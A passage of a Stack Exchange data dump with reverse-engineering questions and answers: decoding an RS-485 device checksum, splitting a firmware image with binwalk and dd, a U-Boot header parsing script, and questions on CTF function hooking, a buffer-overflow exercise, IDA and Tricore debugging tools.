format:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;as described in protocol spec, possibly incorrect or outdated. &lt;em&gt;(EDIT: the protocol spec does appear to be incorrect for my device. Corruption of the data is unlikely)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;X&quot;&lt;/strong&gt; denotes a nibble that takes a value.&#xA;&lt;strong&gt;&quot;?&quot;&lt;/strong&gt; denotes a nibble that is used for flag bits.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;| lo_ADDR | hi_ADDR | sub_ADDR | DATA_0 | DATA_1 | DATA_2 | DATA_3 | lo_CSUM | hi_CSUM |&#xA;|   0x8X  |   0x9X  |   0x0c   |  0x?X  |  0x?X  |  0x?X  |  0x?X  |  0xAX   |   0xBX  |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some of the fields seem to match; others don't. As seen below, lo and hi ADDR and lo and hi CSUM don't seem to match the description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most packets in the stream appear to start with &lt;strong&gt;0x0a&lt;/strong&gt; and end with &lt;strong&gt;0x0b&lt;/strong&gt;, although some packets observed don't follow that pattern. Are they flag bytes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of two packets of interest, bytes that work as specified marked &lt;strong&gt;ok&lt;/strong&gt;, ones that don't with &lt;strong&gt;!k&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A1 A2 A3 A4 A5 A6 A7 A8     B1 B2 B3 B4 B5 B6 B7&#xA;------------------------------------------------&#xA;!k ok ok ok ok ok !k !k     !k ok ok ok ok ok !k&#xA;0a 0c 02 00 60 00 80 0b     28 0c 02 00 60 00 80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Straight from Pyserial, appears as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b'\n\x0c\x02\x00`\x00\x80\x0b(\x0c\x02\x00 \x00\x80'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ten lines of packets, two neighboring packets shown, repeats removed:&#xA;&lt;em&gt;(edit: added more lines, formatting for clarity)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A1 A2 A3 A4 A5 A6 A7 A8          B1 B2 B3 B4 B5 B6 B7&#xA;--------------------- state == running --------------&#xA;----------------------(A3, B3 &amp;lt;= 0x09)---------------&#xA;&#xA;0a 0c 01 09 65 09 d8 0b .repeat. 28 0c 01 09 65 09 e0 .repeat. ...&#xA;0a 0c 01 09 65 08 c0 0b ........ 28 0c 01 09 65 08 80 ...&#xA;0a 0c 01 09 65 07 a8 0b ........ 28 0c 01 09 65 07 a0 ...&#xA;0a 0c 01 09 65 06 90 0b ........ 28 0c 01 09 65 06 c0 ...&#xA;0a 0c 01 09 65 05 f8 0b ........ 28 0c 01 09 65 05 e0 ...&#xA;0a 0c 01 09 65 04 e0 0b ........ 28 0c 01 09 65 04 80 ...&#xA;0a 0c 01 09 65 03 c8 0b ........ 28 0c 01 09 65 03 a0 ...&#xA;0a 0c 01 09 65 02 b0 0b ........ 28 0c 01 09 65 02 c0 ...&#xA;0a 0c 01 09 65 01 98 0b ........ 28 0c 01 09 65 01 e0 ...&#xA;0a 0c 01 09 65 00 80 0b ........ 28 0c 01 09 65 00 80 ...&#xA;0a 0c 01 09 64 09 e0 0b ........ 28 0c 01 09 64 09 80 ...&#xA;0a 0c 01 09 64 08 80 0b ........ 28 0c 01 09 64 08 80 ...&#xA;0a 0c 01 09 64 07 a0 0b ........ 28 0c 01 09 64 07 80 ...&#xA;0a 0c 01 09 64 06 c0 0b ........ 28 0c 01 09 64 06 80 ...&#xA;0a 0c 01 09 64 05 e0 0b ........ 28 0c 01 09 64 05 80 ...&#xA;0a 0c 01 09 64 04 80 0b ........ 28 0c 01 09 64 04 80 ...&#xA;0a 0c 01 09 64 03 a0 0b ........ 28 0c 01 09 64 03 80 ...&#xA;0a 0c 01 09 64 02 c0 0b ........ 28 0c 01 09 64 02 80 ...&#xA;0a 0c 01 09 64 01 e0 0b ........ 28 0c 01 09 64 01 80 ...&#xA;0a 0c 01 09 64 00 80 0b ........ 28 0c 01 09 64 00 80 ...&#xA;         ...                             ...&#xA;0a 0c 01 09 64 04 a0 0b ........ 28 0c 01 09 63 04 80 ...&#xA;         ...                             ...&#xA;-------------------- state == stopped -------------------&#xA;------------(high nibble A5, B5 0b110 -&amp;gt; 0b10)-----------&#xA;------------(bit 6 in byte A5, B5 == flag bit)-----------&#xA;&#xA;0a 0c 01 09 23 04 a0 0b ........ 28 0c 01 09 23 04 80 ...&#xA;         ...                             ...&#xA;---------------- state == running | stopped -------------&#xA;------------(if A3, B3 == 0x0f, then A7, B7 -&amp;gt; 80)-------&#xA;------------(A3, B3 == 0x0f == no digit displayed)-------&#xA;         ...                             ...&#xA;0a 0c 0f ** ** ** 80 0b ........ 28 0c 0f ** ** ** 80 ...&#xA;         ...                             ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;0x0a &amp;lt;&amp;lt; 2 == 0x28. Is that just coincidence? Or are some bits handled improperly?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would appear that A7 and B7 are 8 bit CSUM values. However, when the following CSUM calculation is done as specified in the documentation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CSUM = lo_ADDR ^ hi_ADDR ^ sub_ADDR ^ DATA_0 ^ DATA_1 ^ DATA_2 ^ DATA_3&#xA;0x62 =   0xa   ^   0x0   ^   0x0c   ^  0x01  ^  0x09  ^  0x65  ^  0x09&#xA;0x62 =   0x8   ^   0x2   ^   0x0c   ^  0x01  ^  0x09  ^  0x65  ^  0x09   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The calculated value doesn't match A7 or B7. However:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;The CSUM byte is then split into 2 bytes, 0xAX (low nibble) and 0xBX (high nibble)&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried &lt;a href=&quot;https://crccalc.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://crccalc.com&lt;/a&gt; as well as others, thinking that the calculation in the specification is incorrect, however I can't get any matches on any 8-bit CSUMs that I've tried. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I'm missing something obvious, as I'm quite an amateur. I'm really trying to understand what's happening, where I've gone wrong, and not just get my problem solved. I'm now two days into trying to figure this out, and I just can't get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Quesion two:&lt;/strong&gt; Are those fields actually checksums, if they are, how are they calculated? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question three:&lt;/strong&gt; If they're not, what are they?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question four:&lt;/strong&gt; Why would some packets appear to be missing (or have a different) start and stop flag bytes? &lt;em&gt;(EDIT: Most likely because the specification I have is wrong)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(EDIT) The CSUM calc in the spec does not apply to my data.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check sum calculation spec, verbatim from documentation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CSUM = LOW ADDR&#xA;CSUM = CSUM XOR'ed with HIGH ADDR&#xA;CSUM = CSUM XOR'ed with SUB ADDR&#xA;CSUM = CSUM XOR'ed with Data0&#xA;..&#xA;CSUM = CSUM XOR'ed with DataN (the last data-byte)&#xA;The CSUM byte is then split into 2 byte, 0xAn (low nibble) and 0xBn (high nibble)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Some interesting patterns which seem to hold throughout my data set:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;if A3,B3 == 0x0f then A7,B7 == 0x80&lt;/li&gt;&#xA;&lt;li&gt;High nibble A5,B5 == 0x6 | 0x2: change does not seem to affect A7,B7 &lt;/li&gt;&#xA;&lt;li&gt;if A6,B6 == 0x00 then A7,B7 == 0x80  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(EDIT) UPDATE:&lt;/em&gt;&#xA;You know, the more I think about it and look around the internet, this system shares many similarities with DMX protocol. This system was made to work with many devices daisy-chained together.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;One-to-many connection, with termination required at the end&lt;/li&gt;&#xA;&lt;li&gt;0x00 break on every line, similar to lo value inter-packet (line?) break, bursts of data about once a second&lt;/li&gt;&#xA;&lt;li&gt;possibly no error correction at all&lt;/li&gt;&#xA;&lt;li&gt;used to control a &quot;lighting&quot; device (7-segment display)&lt;/li&gt;&#xA;&lt;li&gt;others ...? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;[1] &quot;The Texas Instruments seven-segment display decoder chips 7446/7447/7448/7449 and 74246/74247/74248/74249 and the Siemens FLH551-7448/555-8448 chips used truncated versions of &quot;2&quot;, &quot;3&quot;, &quot;4&quot;, &quot;5&quot; and &quot;6&quot; for digits A–E. Digit F (1111 binary) was blank.&quot; - wikipedia, 7-segment display&lt;/p&gt;&#xA;" OwnerUserId="27541" LastEditorUserId="27541" LastEditDate="2019-03-03T13:58:55.720" LastActivityDate="2019-03-03T13:58:55.720" Title="Reverse engineering checksum from RS-485 device" Tags="|serial-communication|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20688" PostTypeId="2" ParentId="20632" CreationDate="2019-02-22T16:29:41.613" Score="8" Body="&lt;p&gt;What ultimately enabled me to understand the firmware structure was &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk&quot; rel=&quot;noreferrer&quot;&gt;Binwalk&lt;/a&gt;. Then, it was a matter of using &lt;a href=&quot;http://man7.org/linux/man-pages/man1/dd.1.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;dd&lt;/code&gt;&lt;/a&gt; to split the parts and putting them back together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here's the output from Binwalk:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk tf_recovery.img &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;64            0x40            xz compressed data&#xA;2162688       0x210000        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 6502290 bytes, 2019 inodes, blocksize: 131072 bytes, created: 2018-06-06 07:02:05&#xA;9830400       0x960000        JFFS2 filesystem, little endian&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There is something from address 0 to 64 (something that binwalk doesn't show, this ended up being u-boot's header).&lt;/li&gt;&#xA;&lt;li&gt;There's a XZ archive from 64 to 2162688.&lt;/li&gt;&#xA;&lt;li&gt;There's also a SquashFS filesystem from 2162688 to 9830400.&lt;/li&gt;&#xA;&lt;li&gt;And finally a JFFS2 filesystem from 9830400 to the end of the file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To unpack everything:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=tf_recovery.img of=header.bin bs=1 count=64 skip=0&#xA;dd if=tf_recovery.img of=xzdata.xz bs=1 count=2162624 skip=64&#xA;dd if=tf_recovery.img of=squashfs.bin bs=1 count=7667712 skip=2162688&#xA;dd if=tf_recovery.img of=jffs2.bin bs=1 skip=9830400&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Putting it back together is a matter of doing the reverse:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=header.bin of=somefile.img bs=1 count=64&#xA;dd if=xzdata.xz of=somefile.img bs=1 count=2162624 seek=64&#xA;dd if=squashfs.bin of=somefile.img bs=1 count=7667712 seek=2162688&#xA;dd if=jffs2.bin of=somefile.img bs=1 count=6488144 seek=9830400&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important note:&lt;/strong&gt; All these parts were padded to size with &lt;code&gt;x'FF'&lt;/code&gt; this is something important to take into account when putting everything back together: &lt;a href=&quot;https://superuser.com/questions/274972/how-to-pad-a-file-with-ff-using-dd&quot;&gt;How to pad a file with “FF” using dd?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27471" LastActivityDate="2019-02-22T16:29:41.613" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20689" PostTypeId="1" AcceptedAnswerId="20707" CreationDate="2019-02-22T17:36:08.810" Score="1" ViewCount="274" Body="&lt;p&gt;For a CTF I have a fairly slow recursive function. I just need to cached the previous results in a dictionary and get them instead. I did it but had to reverse engineer the code. I was wondering if there is a better solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LD_PRELOAD won't work as it is a static binary. If I could copy the assembly and call the function in a C program with &lt;strong&gt;asm&lt;/strong&gt; I could get it done but is there a better solution or a way to patch the binary and create a function that caches the slow one? We could path the binary or use somethings to hook the function call.&lt;/p&gt;&#xA;" OwnerUserId="26228" LastEditorUserId="26228" LastEditDate="2019-02-22T18:06:16.933" LastActivityDate="2019-02-25T07:04:23.723" Title="(CTF) Speed up assembly by hooking to an static function" Tags="|disassembly|assembly|c|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20690" PostTypeId="2" ParentId="20670" CreationDate="2019-02-22T20:10:42.740" Score="2" Body="&lt;p&gt;Yes, it is possible!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to do some trial and error for positioning though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8Ta0V.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Ta0V.png&quot; alt=&quot;Example form&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding in a new control is fairly easy. We essentially need to do what the designer usually automatically does for us and create the new control and set up its properties ourselves. Luckily, we can use the button that's already there as a template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First order of business is declaring our new button. Right click inside the class and hit &quot;Edit Class&quot; to open the code editor. Scroll down to the bottom where the variables are declared and declare our new button like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public Button button2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once that's done, you should be able to find the designer auto-generated &lt;code&gt;InitializeComponent()&lt;/code&gt; method for the form you want to modify. This is the function that does the initial setup for our form. it'll look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private void InitializeComponent()&#xA;    {&#xA;        this.button1 = new Button();&#xA;        base.SuspendLayout();&#xA;        this.button1.Location = new Point(189, 45);&#xA;        this.button1.Name = &quot;button1&quot;;&#xA;        this.button1.Size = new Size(170, 53);&#xA;        this.button1.TabIndex = 0;&#xA;        this.button1.Text = &quot;ADD ANOTHER LIKE ME&quot;;&#xA;        this.button1.UseVisualStyleBackColor = true;&#xA;        base.AutoScaleDimensions = new SizeF(6f, 13f);&#xA;        base.AutoScaleMode = AutoScaleMode.Font;&#xA;        base.ClientSize = new Size(563, 329);&#xA;        base.Controls.Add(this.button1);&#xA;        base.Name = &quot;Form1&quot;;&#xA;        this.Text = &quot;Form1&quot;;&#xA;        base.ResumeLayout(false);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can copy and paste the creation code for the button that already exists in this case and replace &quot;button1&quot; with &quot;button2&quot;. You'll probably want to change the tab index too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private void InitializeComponent()&#xA;    {&#xA;        this.button1 = new Button();&#xA;        this.button2 = new Button();&#xA;        base.SuspendLayout();&#xA;        this.button1.Location = new Point(189, 45);&#xA;        this.button1.Name = &quot;button1&quot;;&#xA;        this.button1.Size = new Size(170, 53);&#xA;        this.button1.TabIndex = 0;&#xA;        this.button1.Text = &quot;ADD ANOTHER LIKE ME&quot;;&#xA;        this.button1.UseVisualStyleBackColor = true;&#xA;&#xA;        this.button2.Location = new Point(189, 145);&#xA;        this.button2.Name = &quot;button2&quot;;&#xA;        this.button2.Size = new Size(170, 53);&#xA;        this.button2.TabIndex = 1;&#xA;        this.button2.Text = &quot;I am Added&quot;;&#xA;        this.button2.UseVisualStyleBackColor = true;&#xA;&#xA;        base.AutoScaleDimensions = new SizeF(6f, 13f);&#xA;        base.AutoScaleMode = AutoScaleMode.Font;&#xA;        base.ClientSize = new Size(563, 329);&#xA;        base.Controls.Add(this.button1);&#xA;        base.Name = &quot;Form1&quot;;&#xA;        this.Text = &quot;Form1&quot;;&#xA;        base.ResumeLayout(false);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, to get your button to actually appear, you'll need to add the line &lt;code&gt;base.Controls.Add(this.button2);&lt;/code&gt; under &lt;code&gt;base.Controls.Add(this.button1);&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're not done yet, as our new button will have the exact same properties as the original if we leave it like this, and will appear in the same place with the same text. Replacing the text is easy, simply change the value of &lt;code&gt;this.button2.Text&lt;/code&gt; to your desired value. The position will take a little trial and error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to edit this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;this.button2.Location = new Point(189, 45);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, the first argument of &lt;code&gt;Point&lt;/code&gt; is the button's X position and the second is the button's Y position. To move the button downwards as seen in your question, you'll need to increase the Y position. How much you need to increase it depends on where you want the new button to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save and test your changes, go to &lt;code&gt;File -&amp;gt; Save Module&lt;/code&gt;. Your final code should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Token: 0x02000002 RID: 2&#xA;public class Form1 : Form&#xA;{&#xA;    // Token: 0x06000001 RID: 1&#xA;    public Form1()&#xA;    {&#xA;        this.InitializeComponent();&#xA;    }&#xA;&#xA;    // Token: 0x06000002 RID: 2&#xA;    protected override void Dispose(bool disposing)&#xA;    {&#xA;        if (disposing &amp;amp;&amp;amp; this.components != null)&#xA;        {&#xA;            this.components.Dispose();&#xA;        }&#xA;        base.Dispose(disposing);&#xA;    }&#xA;&#xA;    // Token: 0x06000003 RID: 3&#xA;    private void InitializeComponent()&#xA;    {&#xA;        this.button1 = new Button();&#xA;        this.button2 = new Button();&#xA;        base.SuspendLayout();&#xA;        this.button1.Location = new Point(189, 45);&#xA;        this.button1.Name = &quot;button1&quot;;&#xA;        this.button1.Size = new Size(170, 53);&#xA;        this.button1.TabIndex = 0;&#xA;        this.button1.Text = &quot;ADD ANOTHER LIKE ME&quot;;&#xA;        this.button1.UseVisualStyleBackColor = true;&#xA;        this.button2.Location = new Point(189, 145);&#xA;        this.button2.Name = &quot;button2&quot;;&#xA;        this.button2.Size = new Size(170, 53);&#xA;        this.button2.TabIndex = 1;&#xA;        this.button2.Text = &quot;I am Added&quot;;&#xA;        this.button2.UseVisualStyleBackColor = true;&#xA;        base.AutoScaleDimensions = new SizeF(6f, 13f);&#xA;        base.AutoScaleMode = AutoScaleMode.Font;&#xA;        base.ClientSize = new Size(563, 329);&#xA;        base.Controls.Add(this.button1);&#xA;        base.Controls.Add(this.button2);&#xA;        base.Name = &quot;Form1&quot;;&#xA;        this.Text = &quot;Form1&quot;;&#xA;        base.ResumeLayout(false);&#xA;    }&#xA;&#xA;    // Token: 0x04000001 RID: 1&#xA;    private IContainer components;&#xA;&#xA;    // Token: 0x04000002 RID: 2&#xA;    private Button button1;&#xA;&#xA;    public Button button2;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and my final form looked like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/gSFPS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gSFPS.png&quot; alt=&quot;Final form&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helped!&lt;/p&gt;&#xA;" OwnerUserId="27512" LastActivityDate="2019-02-22T20:10:42.740" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20691" PostTypeId="2" ParentId="20632" CreationDate="2019-02-22T21:14:50.890" Score="2" Body="&lt;p&gt;curiosity led me to google for the firmware &#xA;found it at mi forums &#xA;it appears Uboot Image header and data that follows is documented fairly well&lt;br&gt;&#xA;i just cooked a python script to rip the compressed blob out of the firmware &#xA;and testing the blob with 7zip yields no errors&lt;/p&gt;&#xA;&#xA;&lt;p&gt;script &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import struct&#xA;import binascii&#xA;import datetime&#xA;fileext = { 0:'none',1:'gzip',2:'bzip2',3:'lzma',4:'lzo'}&#xA;fin = open(&quot;tf_recovery.img&quot; , &quot;rb&quot;)&#xA;uimghdr = fin.read(64)&#xA;magic,        = struct.unpack(&quot;!i&quot;   , uimghdr[ 0:4 ] )&#xA;headercrc32,  = struct.unpack(&quot;!i&quot;   , uimghdr[ 4:8 ] )&#xA;timestamp,    = struct.unpack(&quot;!i&quot;   , uimghdr[ 8:12] )&#xA;datasize,     = struct.unpack(&quot;!i&quot;   , uimghdr[12:16] )&#xA;LoadAddress,  = struct.unpack(&quot;!i&quot;   , uimghdr[16:20] )&#xA;EntryPtAddr,  = struct.unpack(&quot;!i&quot;   , uimghdr[20:24] )&#xA;Datacrc32,    = struct.unpack(&quot;!i&quot;   , uimghdr[24:28] )&#xA;OperatingSys, = struct.unpack(&quot;!b&quot;   , uimghdr[28:29] )&#xA;Architecture, = struct.unpack(&quot;!b&quot;   , uimghdr[29:30] )&#xA;ImageType,    = struct.unpack(&quot;!b&quot;   , uimghdr[30:31] )&#xA;CompressType, = struct.unpack(&quot;!b&quot;   , uimghdr[31:32] )&#xA;ImageName,    = struct.unpack(&quot;!32s&quot; , uimghdr[32:64] )&#xA;uimgdata = fin.read(datasize)&#xA;fin.close()&#xA;copy = list(uimghdr)&#xA;copy[4:8] = '\x00\x00\x00\x00' &#xA;crcdata = ''.join(copy)&#xA;realhdrcrc32 = binascii.crc32(crcdata)&#xA;realdatacrc32 = binascii.crc32(uimgdata)&#xA;assert ( realhdrcrc32  == headercrc32 )&#xA;assert ( realdatacrc32 == Datacrc32 )&#xA;print (&quot;UBoot Header Magic %s&quot; ) % hex(magic)&#xA;print (&quot;UBoot Header crc32 %s&quot; ) % hex( realhdrcrc32)&#xA;print (&quot;UBoot Header Tstmp %s&quot; ) % datetime.datetime.fromtimestamp(timestamp)&#xA;print (&quot;UBoot Header DSize %s&quot; ) % hex(datasize)&#xA;print (&quot;Uboot Compression  %s&quot; ) % fileext[CompressType]&#xA;fout = open('out.xz' , 'wb')&#xA;fout.write(uimgdata)&#xA;fout.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and results are&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;ubootimgdump.py&#xA;UBoot Header Magic 0x27051956&#xA;UBoot Header crc32 0x5799cfc3&#xA;UBoot Header Tstmp 2018-06-06 12:32:07&#xA;UBoot Header DSize 0x1a4ffc&#xA;Uboot Compression  lzma&#xA;&#xA;:\&amp;gt;e:\7Z\7z.exe t out.xz&#xA;&#xA;7-Zip [32] 15.14 : Copyright (c) 1999-2015 Igor Pavlov : 2015-12-31&#xA;&#xA;Scanning the drive for archives:&#xA;1 file, 1724412 bytes (1684 KiB)&#xA;&#xA;Testing archive: out.xz&#xA;--&#xA;Path = out.xz&#xA;Type = xz&#xA;Physical Size = 1724412&#xA;Method = LZMA2:23 CRC64&#xA;Streams = 1&#xA;Blocks = 1&#xA;&#xA;Everything is Ok&#xA;&#xA;Size:       3590624&#xA;Compressed: 1724412&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-02-22T21:14:50.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20692" PostTypeId="1" CreationDate="2019-02-22T21:15:25.653" Score="1" ViewCount="235" Body="&lt;p&gt;So I have this sample problem that I need to buffer overflow. Its an elf file that require to be run on a separate terminal then using &quot;nc localhost 'port' &quot; on a separate terminal we can see the input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On IDA I have &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4w7Cf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4w7Cf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which from some reason I dont understand what Im looking for so I tried using a buffer overflow technique and I got&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BoXq2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BoXq2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and in the other terminal I got &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Fw4V7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fw4V7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried for days looking around for techniques and understanding how to solve this problem but im always reaching dead ends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the elf file: &lt;a href=&quot;https://we.tl/t-vlqS6LwqlB&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://we.tl/t-vlqS6LwqlB&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27552" LastActivityDate="2019-02-22T21:15:25.653" Title="Need help understanding basic buffer overflow" Tags="|ida|elf|exploit|patch-reversing|buffer-overflow|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20693" PostTypeId="1" CreationDate="2019-02-23T07:36:41.600" Score="1" ViewCount="418" Body="&lt;p&gt;I want to save flow/call graph of IDA into a pdf format so that I could view it in my android. How can I do that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know IDA can generate a flow chart (gdl file) and call chart (gdl file). But my question is, how do I convert those file format into pdf so that I could view the pdf on my android and iPad? I have no experience with those file formats before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="27557" LastActivityDate="2019-02-23T07:36:41.600" Title="Saving IDA Graph to PDF format?" Tags="|ida|static-analysis|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20697" PostTypeId="1" CreationDate="2019-02-23T22:52:11.857" Score="0" ViewCount="1871" Body="&lt;p&gt;I am new in the reverse engineering, I have a good experience in programming MCUs like c51 and ARM.&#xA;Now I would like to learn about Tricore reverse engineering... ECUs mainly.&#xA;I can obtain the ECU flash as bin files, my question is: what IDE and debugger hardware (jtag) is best for this job?&lt;/p&gt;&#xA;" OwnerUserId="27564" LastEditorUserId="245" LastEditDate="2019-03-03T09:14:56.493" LastActivityDate="2020-10-29T02:14:01.480" Title="Tricore debugging tools" Tags="|ida|disassembly|debuggers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20698" PostTypeId="1" CreationDate="2019-02-24T07:06:40.133" Score="1" ViewCount="1171" Body="&lt;p&gt;I'm about to use IDA pro.&#xA;I have to access to 0018F42C(EAX) by using Hex view in IDA.&#xA;Maybe I guess there is EAX value.(String is &quot;happyy&quot;, standard input)&#xA;but Hex view shows me 0018F410 as in screen1..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6lAK0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6lAK0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it works well, I can find string &quot;happyy&quot; as in screen2 &#xA;&lt;a href=&quot;https://i.stack.imgur.com/PaMXv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PaMXv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then.. how can I see 0018F42C, not 0018F410? &lt;/p&gt;&#xA;" OwnerUserId="27568" LastActivityDate="2019-02-24T07:06:40.133" Title="How can I see specific memory value by using 